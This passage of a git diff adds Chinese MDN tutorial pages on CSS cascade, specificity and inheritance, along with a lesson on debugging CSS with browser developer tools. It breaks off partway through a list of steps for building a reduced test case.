<code>class</code> 属性值的元素 — 所以它的优先级就要高一点。</li> +</ul> + +<p>举例时间! 下面我们再来介绍两个适用于 <code>h1</code> 的规则。下面的 <code>h1</code> 最后会显示红色 — 类选择器有更高的优先级,因此就会被应用——即使元素选择器顺序在它后面。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/cascade/specificity-simple.html", '100%', 500)}} </p> + +<p>稍后我们会详细解释优先级评分和其他相关内容。</p> + +<h3 id="继承">继承</h3> + +<p>继承也需要在上下文中去理解 —— 一些设置在父元素上的css属性是可以被子元素继承的,有些则不能。</p> + +<p>举一个例子,如果你设置一个元素的 <code>color</code> 和 <code>font-family</code> ,每个在里面的元素也都会有相同的属性,除非你直接在元素上设置属性。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/cascade/inheritance-simple.html", '100%', 550)}} </p> + +<p>一些属性是不能继承的 — 举个例子如果你在一个元素上设置 {{cssxref("width")}} 50% ,所有的后代不会是父元素的宽度的50% 。如果这个也可以继承的话,CSS就会很难使用了!</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: 在 MDN CSS 属性引用页面你会发现一个技术信息框,通常在规范区域的底部,列举了属性的很多数据信息,包括能否被继承。参见 <a href="/en-US/docs/Web/CSS/color#Specifications">color property Specifications section</a>, 例子.</p> +</div> + +<h2 id="理解这些概念是如何协同工作的">理解这些概念是如何协同工作的</h2> + +<p>这三个概念一起来控制css规则应用于哪个元素;在下面的内容中,我们将看到它们是如何协同工作的。有时候会感觉有些复杂,但是当你对css有更多经验的时候,你就可以记住它们,即便忘记了细节,可以在网上查到,有经验的开发人员也不会记得所有细节。</p> + +<h2 id="理解继承">理解继承</h2> + +<p>我们从继承开始。下面的例子中我们有一个{{cssxref("ul")}},里面有两个无序列表。我们已经给 <code><ul></code> 设置了 <strong>border</strong>, <strong>padding </strong>和 <strong>font color</strong>.</p> + +<p><strong>color </strong>应用在直接子元素,也影响其他后代 — 直接子元素<code><li></code>,和第一个嵌套列表中的子项。然后添加了一个 <code>special</code> 类到第二个嵌套列表,其中使用了不同的颜色。然后通过它的子元素继承。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/cascade/inheritance.html", '100%', 700)}} </p> + +<p>像 widths (上面提到的), margins, padding, 和 borders 不会被继承。如果borders可以被继承,每个列表和列表项都会获得一个边框 — 可能就不是我们想要的结果!</p> + +<p>哪些属性属于默认继承很大程度上是由常识决定的。</p> + +<h3 id="控制继承">控制继承</h3> + +<p>CSS 为控制继承提供了四个特殊的通用属性值。每个css属性都接收这些值。</p> + +<dl> + <dt>{{cssxref("inherit")}}</dt> + <dd>设置该属性会使子元素属性和父元素相同。实际上,就是 "开启继承".</dd> + <dt>{{cssxref("initial")}}</dt> + <dd>设置属性值和浏览器默认样式相同。如果浏览器默认样式中未设置且该属性是自然继承的,那么会设置为 <code>inherit</code> 。</dd> + <dt>{{cssxref("unset")}}</dt> + <dd>将属性重置为自然值,也就是如果属性是自然继承那么就是 <code>inherit</code>,否则和 <code>initial</code>一样</dd> +</dl> + +<div class="blockIndicator note"> +<p><strong>注</strong>: 还有一个新的属性, {{cssxref("revert")}}, 只有很少的浏览器支持。</p> +</div> + +<div class="blockIndicator note"> +<p><strong>注</strong>: 见 {{SectionOnPage("/zh-CN/docs/Web/CSS/Cascade", "Origin of CSS declarations")}} 有更多信息和具体是怎么工作的。</p> +</div> + +<p>下面的例子你可以通过修改css来查看它们的功能,写代码是掌握html和css最好的办法。</p> + +<p>例子:</p> + +<ol> + <li>第二个列表项有类 <code>my-class-1</code> 。它设置了内部元素来继承属性。如果你删除这个类,它会如何改变链接的颜色?</li> + <li>你知道为什么第三个和第四个链接会是这样的颜色? 如果不知道看看之前的内容。</li> + <li>那个链接的颜色会改变如果你对 <code><a></code> 添加一个新样式 — 例如 <code>a { color: red; }</code>?</li> +</ol> + +<p>{{EmbedGHLiveSample("css-examples/learn/cascade/keywords.html", '100%', 700)}} </p> + +<h3 id="重设所有属性值">重设所有属性值</h3> + +<p>CSS 的 shorthand 属性 <code>all</code> 可以用于同时将这些继承值中的一个应用于(几乎)所有属性。它的值可以是其中任意一个(<code>inherit</code>, <code>initial</code>, <code>unset</code>, or <code>revert</code>)。这是一种撤销对样式所做更改的简便方法,以便回到之前已知的起点。</p> + +<p>下面的例子中有两个<strong>blockquote </strong>。第一个用元素本身的样式 ,第二个设置 <code>all</code> 为 <code>unset</code></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/cascade/all.html", '100%', 700)}} </p> + +<p>试着将 <code>all</code> 改成其他可能的值然后观察有什么不一样。</p> + +<h2 id="理解层叠">理解层叠</h2> + +<p>我们现在明白了为什么嵌套在html结构中的段落和应用于正文中的css颜色相同,从入门课程中,我们了解了如何将文档中的任何修改应用于某个对象的css,无论是把css指定某个元素还是创建一个类。现在,我们将要了解层叠如何定义在不止一个元素的时候怎么应用css规则。</p> + +<p>有三个因素需要考虑,根据重要性排序如下,前面的更重要:</p> + +<ol> + <li>重要程度</li> + <li>优先级</li> + <li>资源顺序</li> +</ol> + +<p>我们从下往上,看看浏览器是如何决定该应用哪个css规则的。</p> + +<h3 id="资源顺序">资源顺序</h3> + +<p>我们已经看到了顺序对于层叠的重要性。如果你有超过一条规则,而且都是相同的权重,那么最后面的规则会应用。可以理解为后面的规则覆盖前面的规则,直到最后一个开始设置样式。</p> + +<h3 id="优先级_2">优先级</h3> + +<p>在你了解了顺序的重要性后,会发现在一些情况下,有些规则在最后出现,但是却应用了前面的规则。这是因为前面的有更高的<strong>优先级</strong> — 它范围更小,因此浏览器就把它选择为元素的样式。</p> + +<p>就像前面看到的,类选择器的权重大于元素选择器,因此类上定义的属性将覆盖应用于元素上的属性。</p> + +<p>这里需要注意虽然我们考虑的是选择器,以及应用在选中对象上的规则,但不会覆盖所有规则,只有相同的属性。</p> + +<p>这样可以避免重复的 CSS。一种常见的做法是给基本元素定义通用样式,然后给不同的元素创建对应的类。举个例子,在下面的样式中我给2级标题定义了通用样式,然后创建了一些类只修改部分属性的值。最初定义的值应用于所有标题,然后更具体的值通过对应类来实现。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/cascade/mixing-rules.html", '100%', 700)}} </p> + +<p>现在让我们来看看浏览器如何计算优先级。我们已经知道一个元素选择器比类选择器的优先级更低会被其覆盖。本质上,不同类型的选择器有不同的分数值,把这些分数相加就得到特定选择器的权重,然后就可以进行匹配。</p> + +<p>一个选择器的优先级可以说是由四个部分相加 (分量),可以认为是个十百千 — 四位数的四个位数:</p> + +<ol> + <li><strong>千位</strong>: 如果声明在 {{htmlattrxref("style")}} 的属性(内联样式)则该位得一分。这样的声明没有选择器,所以它得分总是1000。</li> + <li><strong>百位</strong>: 选择器中包含ID选择器则该位得一分。</li> + <li><strong>十位</strong>: 选择器中包含类选择器、属性选择器或者伪类则该位得一分。</li> + <li><strong>个位</strong>:选择器中包含元素、伪元素选择器则该位得一分。</li> +</ol> + +<div class="note"> +<p><strong>注</strong>: 通用选择器 (<code>*</code>),组合符 (<code>+</code>, <code>></code>, <code>~</code>, ' '),和否定伪类 (<code>:not</code>) 不会影响优先级。</p> +</div> + +<div class="blockIndicator warning"> +<p><strong>警告: </strong>在进行计算时不允许进行进位,例如,20 个类选择器仅仅意味着 20 个十位,而不能视为 两个百位,也就是说,无论多少个类选择器的权重叠加,都不会超过一个 ID 选择器。</p> +</div> + +<p>下面有几个单独的例子,有空可以看看。试着思考下,理解为什么优先级是这样定的。我们还没有深入介绍选择器,不过你可以在MDN上面找到每个选择器的详细信息 <a href="/en-US/docs/Web/CSS/CSS_Selectors">selectors reference</a>.</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">选择器</th> + <th scope="col">千位</th> + <th scope="col">百位</th> + <th scope="col">十位</th> + <th scope="col">个位</th> + <th scope="col">优先级</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>h1</code></td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>1</td> + <td>0001</td> + </tr> + <tr> + <td><code>h1 + p::first-letter</code></td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>3</td> + <td>0003</td> + </tr> + <tr> + <td><code>li > a[href*="en-US"] > .inline-warning</code></td> + <td>0</td> + <td>0</td> + <td>2</td> + <td>2</td> + <td>0022</td> + </tr> + <tr> + <td><code>#identifier</code></td> + <td>0</td> + <td>1</td> + <td>0</td> + <td>0</td> + <td>0100</td> + </tr> + <tr> + <td>内联样式</td> + <td>1</td> + <td>0</td> + <td>0</td> + <td>0</td> + <td>1000</td> + </tr> + </tbody> +</table> + +<p>在我们继续之前,先看看这个例子。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/cascade/specificity-boxes.html", '100%', 700)}} </p> + +<p>这里发生了什么? 首先,我们先看看最上面的选择器规则,你会发现,我们已经把优先级计算出来放在最前面的注释里。</p> + +<ul> + <li>前面两个选择器都是链接背景颜色的样式 — 第二个赢了使得背景变成蓝色因为它多了一个ID选择器:优先级 201 vs. 101。</li> + <li>第三四个选择器都是链接文本颜色样式 — 第二个(第四个)赢了使得文本变成白色因为它虽然少一个元素选择器,但是多了一个类选择器,多了9分。所以优先级是 113 vs. 104。</li> + <li>第5到7个选择器都是鼠标悬停时链接边框样式。第六个显然输给第五个优先级是 23 vs. 24 — 少了个元素选择器。 第七个,比第五第六都高 — 子选择器数量相同,但是有一个元素选择器变成类选择器。所以最后优先级是 33 vs. 23 和 24。</li> +</ul> + +<h3 id="!important">!important</h3> + +<p>有一个特殊的 CSS 可以用来覆盖所有上面所有优先级计算,不过需要很小心的使用 — <code>!important</code>。用于修改特定属性的值, 能够覆盖普通规则的层叠。</p> + +<p>看看这个例子,有两个段落,其中一个有ID。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/cascade/important.html", '100%', 700)}} </p> + +<p>让我们看看会发生什么 — 如果有什么疑问,试着删除一些属性:</p> + +<ol> + <li>你会发现第三个规则 {{cssxref("color")}} 和 {{cssxref("padding")}} 的值被应用了,但是 {{cssxref("background-color")}} 没有。为什么? 应该三个都应用,因为顺序规则是后面覆盖前面。</li> + <li>无论如何, 上面的规则赢了,因为类选择器比元素选择器有更高的优先级。</li> + <li>两个元素都有 <code>better</code>{{htmlattrxref("class")}},但是第二个有 {{htmlattrxref("id")}} 。因为ID选择器比类选择器优先级更高 (一个页面只能有一个独特的ID,但是很多元素都有相同的类 — ID 对于目标非常独特),红色背景和1 pixel black border 应该都被应用到第二个元素,第一个元素应该是灰色背景和 no border,根据类选择器。</li> + <li>第二个元素有红色背景但是没有边框。为什么?因为 <code>!important</code> 声明在第二条规则里 — 在 <code>border: none</code> 后面,说明即使计算优先级低这个属性也使用这个值。</li> +</ol> + +<div class="note"> +<p><strong>注</strong>: 覆盖 <code>!important</code> 唯一的办法就是另一个 <code>!important</code> 具有 相同<em>优先级</em> 而且顺序靠后,或者更高优先级。</p> +</div> + +<p>了解 <code>!important</code> 是为了在阅读别人代码的时候知道有什么作用。 <strong>但是,强烈建议除了非常情况不要使用它。</strong> <code>!important</code> 改变了层叠的常规工作方式,它会使调试 CSS 问题非常困难,特别是在大型样式表中。</p> + +<p>在一种情况下,你可能不得不使用它:当你不能编辑核心的CSS模块,不能用任何其他方式覆盖,而你又真的想要覆盖一个样式时。但说真的,如果可以避免的话就不要用它。</p> + +<h2 id="CSS位置的影响">CSS位置的影响</h2> + +<p>最后,也很有用,CSS声明的重要性取决于样式表中指定的——它让用户可以设置自定义样式表来覆盖开发人员定义的样式。例如用户可能视力受损,并想在所有网页上设置两倍的正常字体大小,以便更容易进行阅读。</p> + +<h2 id="简而言之">简而言之</h2> + +<p>相互冲突的声明将按以下顺序适用,后一种声明将覆盖前一种声明:</p> + +<ol> + <li>用户代理样式表中的声明(例如,浏览器的默认样式,在没有设置其他样式时使用)。</li> + <li>用户样式表中的常规声明(由用户设置的自定义样式)。</li> + <li>作者样式表中的常规声明(这些是我们web开发人员设置的样式)。</li> + <li>作者样式表中的<code>!important</code>声明</li> + <li>用户样式表中的<code>!important</code> 声明</li> +</ol> + +<p>对于web开发人员的样式表来说,覆盖用户样式表是有意义的,因此设计可以按预期进行,但是有时用户充足的理由覆盖web开发人员样式,正如上面提到的—这可以通过在他们的规则中使用<code>!important</code>来实现。</p> + +<h2 id="主动学习:玩转层叠">主动学习:玩转层叠</h2> + +<p>在这种主动学习中,我们希望您尝试编写一个新的规则,它将覆盖我们默认应用于链接的颜色和背景颜色。您可以使用我们在{{anch("控制继承")}} 节中查看的一个特殊值来在一个新规则中编写一个声明,该声明将重置背景颜色为白色,而不使用实际的颜色值吗?</p> + +<p>如果你犯了一个错误,你总是可以用重置按钮重置它。如果你真的卡住了,看看这里的解决方案 <a href="https://github.com/mdn/css-examples/blob/master/learn/solutions.md#the-cascade">进入</a>。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/cascade/task.html", '100%', 700)}}</p> + +<h2 id="接下来做什么呢?">接下来做什么呢?</h2> + +<p>如果您理解了本文的大部分内容,那么就做得很好了—您已经开始熟悉CSS的基本机制。接下来,我们将详细讨论选择器。</p> + +<p>如果您没有完全理解层叠,优先级和继承,也请不要担心!这绝对是我们到目前为止在课程中所涉及到的最复杂的事情,即使是专业的web开发人员有时也会觉得棘手。我们建议您在继续学习这门课程的过程中,反复阅读这篇文章几次,并继续思考它。</p> + +<p>如果您开始遇到样式没有按照预期应用的奇怪问题,请回到这里。这可能是一个特殊的问题。</p> + +<p>{{NextMenu("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks")}}</p> + +<h2 id="模块目录">模块目录</h2> + +<ol> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">层叠与继承</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors">CSS选择器</a> + <ul> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">标签,类,ID选择器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性选择器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">伪类和伪元素</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Combinators">关系选择器</a></li> + </ul> + </li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/The_box_model">盒模型</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景与边框</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">处理不同文字方向的文本</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Overflowing_content">溢出的内容</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Values_and_units">值和单位</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">在CSS中调整大小</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Images_media_form_elements">图像、媒体和表单元素</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Styling_tables">样式化表格</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Debugging_CSS">调试CSS</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Organizing">组织CSS</a><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Organizing"> </a></li> +</ol> diff --git a/files/zh-cn/learn/css/building_blocks/debugging_css/index.html b/files/zh-cn/learn/css/building_blocks/debugging_css/index.html new file mode 100644 index 0000000000..50203520bd --- /dev/null +++ b/files/zh-cn/learn/css/building_blocks/debugging_css/index.html @@ -0,0 +1,196 @@ +--- +title: 调试 CSS +slug: Learn/CSS/Building_blocks/Debugging_CSS +translation_of: Learn/CSS/Building_blocks/Debugging_CSS +--- +<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks/Organizing", "Learn/CSS/Building_blocks")}}</div> + +<p>你有时写 CSS 会碰到这样的问题:结果看起来和你想的不太一样。你可能会认为 selector(选择器)匹配到了元素但是什么都没发生,还可能会觉得盒子的大小与你想的有出入。这篇文章会教你着手调试 CSS,向你展示现代浏览器中的 DevTools 是怎样让你更方便地获悉发生了什么。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">必备条件:</th> + <td>会使用计算机、<a href="https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web/Installing_basic_software">安装基础软件</a>、基本了解<a href="https://developer.mozilla.org/zh-CN/Learn/Getting_started_with_the_web/Dealing_with_files">文件处理</a>、有 HTML 基础(请参考<a href="https://wiki.developer.mozilla.org/zh-CN/docs/Learn/HTML/Introduction_to_HTML"> HTML 导论</a>)、了解 CSS 工作(请参考 <a href="https://wiki.developer.mozilla.org/zh-CN/docs/Learn/CSS/First_steps">CSS first steps</a>)。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>学习浏览器 DevTools 基础、学会对 CSS 进行简单的审查和编辑。</td> + </tr> + </tbody> +</table> + +<h2 id="如何使用浏览器开发者工具">如何使用浏览器开发者工具</h2> + +<p><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">What are browser developer tools</a> 解释了如何在不同的浏览器和平台上打开这些工具。你可能会选择大部分时间在某个浏览器上开发去熟悉里面的工具,不过你还是有必要了解如何在其它浏览器中打开同样的工具。要是你看到多个浏览器间不同的渲染结果,这就会很方便了。</p> + +<p>你还会发现,不同的浏览器弹出开发者工具时会选择把重点放到不同的区域。例如,Firefox 有不错的工具用来可视化处理 CSS 布局,让你能够检查和编辑 <a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Grid Layouts</a>、<a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Examine_Flexbox_layouts">Flexbox</a>、<a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Edit_CSS_shapes">Shapes</a>。不过,浏览器都有类似的基础工具用来检查作用于页面元素的 CSS 属性和值,并对它们进行更改。</p> + +<p>我们这节课会重点看用于处理 CSS 的开发者工具中的一些有用特性。为此,我会用<a href="https://mdn.github.io/css-examples/learn/inspecting/inspecting.html">一个示例</a>。想跟着学习的话,就在新标签页加载该网页吧,并打开开发者工具(上述文章对该工具有描述)。</p> + +<h2 id="比较_DOM_和_View_Source">比较 DOM 和 View Source</h2> + +<p>刚接触开发者工具的人可能会在这个地方产生失误:网页源码(或服务器端的 HTML 文件)显示的和开发者工具的 <a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Page_Inspector/UI_Tour#HTML_pane">HTML Pane</a> 显示的相比起来不太一样。通过 View Source,内容看起来差不多,然而一些差异还是存在的。</p> + +<p>浏览器在渲染的 DOM 中已为你纠正了一些错误的 HTML 部分。如果你错误地闭合了元素(比如开始标签是<code><h2></code>,结束标签是<code></h3></code>。),浏览器会尽力弄清你的意图,之后DOM中的HTML就以 <code><h2></code> 起始,以 <code></h2></code> 结束了。浏览器还会处理好 HTML 文档, JavaScript 做出的更改都会由 DOM 表现出来。</p> + +<p>相比之下,View Source 就是服务器端的 HTML 源码。DevTools 内的 <a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_HTML#HTML_tree">HTML tree</a> 展示了浏览器任意时间的渲染结果,让你深入理解正在发生什么。</p> + +<h2 id="审查_CSS">审查 CSS</h2> + +<p>从页面上选择一个元素,可以通过以下方法:右键该元素,选择审查元素(Inspect);从 DevTools 左侧 HTML tree 中选择该元素。试试选择 class 为 <code>box1</code> 的元素吧,它是页面上的第一个元素,周围画有边框。</p> + +<p><img alt="The example page for this tutorial with DevTools open." src="https://mdn.mozillademos.org/files/16606/inspecting1.png" style="border-style: solid; border-width: 1px; height: 1527px; width: 2278px;"></p> + +<p>如果查看 HTML 右边的 <a href="/en-US/docs/Tools/Page_Inspector/UI_Tour#Rules_view">Rules view</a> 栏,你应该能看到该元素的 CSS 属性与值。你能看到直接应用到 <code>box1</code> 类上的规则,还有其继承了祖先的 CSS(该例中指 <code><body></code>)。这在一种情况下就很有帮助——你看到有些 CSS 并非在计划之内(或许它们继承自某个父元素然而你没有覆盖它们)。</p> + +<p>另一个有用的功能是将简写属性展开的功能。在我们的示例里面使用了 <code>margin</code> 的简写。</p> + +<p><strong>点击小箭头来展开界面,显示不同的完整属性和它们的值。</strong></p> + +<p><strong>你可以在 Rules view 面板活动的时候打开或关闭值,在你将光标悬浮在上面的时候,就会出现勾选框。取消勾选一个规则的勾选框,例如 <code>border-radius</code>,CSS 就会停止应用。</strong></p> + +<p>你可以运用这个功能来进行对照实验,来决定是否有东西会在应用了一条规则的时候变得更好看,同时也有助于调试,例如如果一个布局出错,你正在研究究竟是哪项属性是问题的源头的时候。</p> + +<h2 id="编辑值">编辑值</h2> + +<p>除了开关属性以外,你还能编辑它们的值。也许你会想要看看是不是另外一种颜色会更好看,或者希望微调什么东西的大小呢?开发者工具可以省去你耗费在编辑样式表和重载页面上的大量时间。</p> + +<p><strong>选择了 <code>box1</code> 以后,点击显示应用在边框的颜色的色块(被涂上颜色的圆),会打开一个颜色选择器,然后你就能尝试一些不同的颜色,页面上的显示会进行实时的更新。类似地,你也可以用这种方法改变宽度或者边框的样式。</strong></p> + +<p><img alt="DevTools Styles Panel with a color picker open." src="https://mdn.mozillademos.org/files/16607/inspecting2-color-picker.png" style="border-style: solid; border-width: 1px; height: 1173px; width: 2275px;"></p> + +<h2 id="添加一个新属性">添加一个新属性</h2> + +<p>你可以使用开发者工具添加属性。也许你已经意识到,你不希望你的盒子继承 <code><body></code> 元素的字体大小,想要给它设定专属的特别颜色了?在将它加入到你的 CSS 文件之前,你可以在开发者工具中试一下。</p> + +<p><strong>你可以点击在规则中合拢的花括号,开始向里面键入一个新的声明,此时你可以开始键入新的属性,开发者工具会展示给你一个自动填充的对应属性列表。在选择了 <code>font-size</code> 以后,键入你想要尝试的值。你也可以点击“+”按钮以添加一个对应于相同选择器的规则,将你的新规则加到那里。</strong></p> + +<p><img alt="The DevTools Panel, adding a new property to the rules, with the autocomplete for font- open" src="https://mdn.mozillademos.org/files/16608/inspecting3-font-size.png" style="border-style: solid; border-width: 1px; height: 956px; width: 2275px;"></p> + +<div class="blockIndicator note"> +<p><strong>备注</strong>:在 Rules view 里面还有其他有用的功能,例如带有无效值的声明会被划掉。你可以在<a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS">检查并编辑 CSS</a>里了解更多。</p> +</div> + +<h2 id="理解盒模型">理解盒模型</h2> + +<p>在之前的课程里我们已经讨论了<a href="/zh-CN/docs/Learn/CSS/Building_blocks/The_box_model">盒模型</a>,介绍了替代盒模型,它改变了元素根据给定大小计算自身尺寸的方式,再在这个计算值上加上内边距和边框。开发者工具可以确实帮助你理解元素尺寸的计算方式。</p> + +<p><a href="/en-US/docs/Tools/Page_Inspector/UI_Tour#Layout_view">Layout view</a> 给你展示了一张选定元素的盒模型示意图,还有对能改变元素展示方式的属性和值的描述。你可能原本没有精确地使用元素的属性,只设定了初始值,盒模型也可能包含对于这些属性的描述。</p> + +<p>在这一面板上,被详细说明的属性之一为 <code>box-sizing</code> 属性,它控制了元素使用的盒模型种类。</p> + +<p><strong>将这两个分别带有 <code>box1</code> 和 <code>box2</code> 类的盒子进行比较,它们可能都应用了相同的宽度(400像素),但是 <code>box1</code> 显然更宽。你可以在布局面板上看到,它正在使用 <code>content-box</code> 值,即为那种取你赋予元素的大小并在这基础上加上内边距和边框宽度的那种值。</strong></p> + +<p>带有 <code>box2</code> 类的盒子使用了 <code>border-box</code>,所以此时内边距和边框的值是从你赋给元素的值里面减去的,也就是说页面上被盒子占据的空间大小就是你指定的大小,此例中为 <code>width: 400px</code>。</p> + +<p><img alt="The Layout section of the DevTools" src="https://mdn.mozillademos.org/files/16609/inspecting4-box-model.png" style="border-style: solid; border-width: 1px; height: 1532px; width: 2275px;"></p> + +<div class="blockIndicator note"> +<p><strong>备注</strong>:在<a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_the_box_model">仔细检查盒模型</a>里了解更多。</p> +</div> + +<h2 id="解决优先级问题">解决优先级问题</h2> + +<p>有的时候,在开发过程中,尤其是在你需要编辑运行站点的 CSS 的时候,你将会发现你很难让一些 CSS 被应用。无论你做了什么,元素看起来就是不听 CSS 使唤。这时候大概发生的事情是,一个更明确的选择器覆盖了你的改动,此时开发者工具也能帮助你解决这个问题。</p> + +<p>在我们的示例文件里,有两个单词被包含在了一个 <code><em></code> 元素里。一个显示为橘黄色,另一个为深粉色。在 CSS 里我们这样写:</p> + +<pre class="brush: css">em { + color: hotpink; + font-weight: bold; +}</pre> + +<p>但在样式表里面,这些规则的上面有以 <code>.special</code> 为选择器的规则:</p> + +<pre class="brush: css">.special { + color: orange; +}</pre> + +<p>正如你从<a href="/zh-CN/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">层叠与继承</a>里面,我们讨论的关于优先级的经验中回忆起来的那样,类选择器比元素选择器有更高的优先级,因而这就是实际生效的值。开发工具可以帮忙找出这类问题,尤其是在有效的信息被淹没在一个巨大的样式表的某个角落的时候。</p> + +<p><strong>检查有 <code>.special</code> 类的 <code><em></code> 元素,开发者工具会告诉你橘黄色是实际生效的颜色,还会将应用在 em 上的 <code>color</code> 属性划掉。你这样就能看到是类选择器覆盖了元素选择器了。</strong></p> + +<p><img alt="Selecting an em and looking at DevTools to see what is over-riding the color." src="https://mdn.mozillademos.org/files/16610/inspecting5-specificity.png" style="border-style: solid; border-width: 1px; height: 1161px; width: 2275px;"></p> + +<h2 id="进一步了解火狐开发者工具">进一步了解火狐开发者工具</h2> + +<p>在 MDN 这里有很多关于火狐调试工具的信息,看下主要的<a href="/zh-CN/docs/Tools">开发者工具段落</a>,欲了解在本节课中我们简要介绍的事情的细节,请看下<a href="/en-US/docs/Tools/Page_Inspector#How_to">这篇教程</a>。</p> + +<h2 id="在_CSS_中调试问题">在 CSS 中调试问题</h2> + +<p>在解决 CSS 问题时,DevTools 可以提供很大的帮助,因此当您发现自己的 CSS 表现不如预期时,应该如何解决呢? 以下步骤应有所帮助。</p> + +<h3 id="从问题中后退一步">从问题中后退一步</h3> + +<p>任何代码问题都可能令人沮丧,尤其是 CSS 问题,因为您通常无法获得错误消息用于网络搜索来帮助您找到解决方案。 如果您感到沮丧,请暂时离开该问题一会儿—散步,喝一杯,与同事聊天,或者做一些其他事情。 有时,当您停止思考问题时,解决方案就会神奇地出现,即使没有出现,在感到清爽的时候解决起问题来要容易很多。</p> + +<h3 id="你有一个有效的_HTML_和_CSS_吗?">你有一个有效的 HTML 和 CSS 吗?</h3> + +<p>浏览器希望您的 CSS 和 HTML 能够正确编写,但是浏览器也非常宽容,即使标记或样式表中有错误,浏览器也会尽力显示您的网页。 如果您的代码有错误,浏览器需要猜测您的意思,并且可能会对您的想法做出不同的决定。 此外,两种不同的浏览器可能会以两种不同的方式来解决该问题。 因此,一个好的第一步是通过验证器运行 HTML 和 CSS,以获取并修复任何错误。</p> + +<ul> + <li><a href="https://jigsaw.w3.org/css-validator/">CSS Validator</a></li> + <li><a href="https://validator.w3.org/">HTML validator</a></li> +</ul> + +<h3 id="属性和值是否被你正在测试的浏览器所支持">属性和值是否被你正在测试的浏览器所支持?</h3> + +<p>浏览器会忽略他们不理解的 CSS。 如果您正在测试的浏览器不支持您正在使用的属性或值,则不会奔溃,但 CSS 不会被应用。 DevTools 通常会以某种方式突出显示不支持的属性和值。 在下面的屏幕截图中,浏览器不支持以下子网格值 {{cssxref("grid-template-columns")}}.</p> + +<p><img alt="Image of browser DevTools with the grid-template-columns: subgrid crossed out as the subgrid value is not supported." src="https://mdn.mozillademos.org/files/16641/no-support.png"></p> + +<p>您还可以查看 MDN 每个属性页底部的浏览器兼容性表。 这些向您显示浏览器对该属性的支持,如果支持该属性的某些用法,而不支持其他用法,则经常会 break down。 <a href="/zh-CN/docs/">这里</a>显示了 {{cssxref("shape-outside")}} 属性的兼容性数据。</p> + +<h3 id="是否有其它东西覆盖了你的_CSS">是否有其它东西覆盖了你的 CSS?</h3> + +<p>在这里,您所学到的关于特定性(specificity)的信息将非常有用。 如果您有一些更特定的内容要覆盖你打算做的,将会比较麻烦。 但是,如上所述,DevTools 将向您显示 CSS 是如何应用的,您可以弄清楚如何使新选择器足够具体,以覆盖旧的 CSS 样式。</p> + +<h3 id="制作一个精简的问题测试用例">制作一个精简的问题测试用例</h3> + +<p>如果上述步骤未能解决问题,则您需要做更多调查。 此时最好的做法是创建一个称为简化测试用例的东西。 能够“减化问题”是一项非常有用的技能。 这将帮助您在自己的代码和同事的代码中发现问题,还使您能够报告错误并更有效地寻求帮助。</p> + +<p>简化的测试用例是一个代码示例,它以最简单的方式演示了该问题,并删除了无关的周围内容和样式。 这通常意味着将有问题的代码从您的布局中取出,以制作一个仅显示该代码或功能的小示例。</p> + +<p>创建一个简化测试用例:</p> + +<ol> + <li>如果您的标记是动态生成的(例如通过 CMS),请生成显示该问题的静态版本。 诸如 CodePen 之类的代码共享站点可用于托管简化的测试用例,因为它们可以在线访问,并且您可以轻松地与同事共享它们。 您可以先在页面上执行“查看源代码”,然后将 HTML 复制到 CodePen 中,然后获取所有相关的 CSS 和 JavaScript 并将其包括在内。 之后,您可以检查问题是否仍然明显。</li> + <li>如果删除 JavaScript 不能解决问题,请不要包含 JavaScript。 如果删除 JavaScript 确实消除了问题,那么请尽可能多地删除与问题无关的 JavaScript,保留导致问题的原因。</li> + <li>删除所有不会导致此问题的 HTML。 删除布局中的组件甚至主要元素。 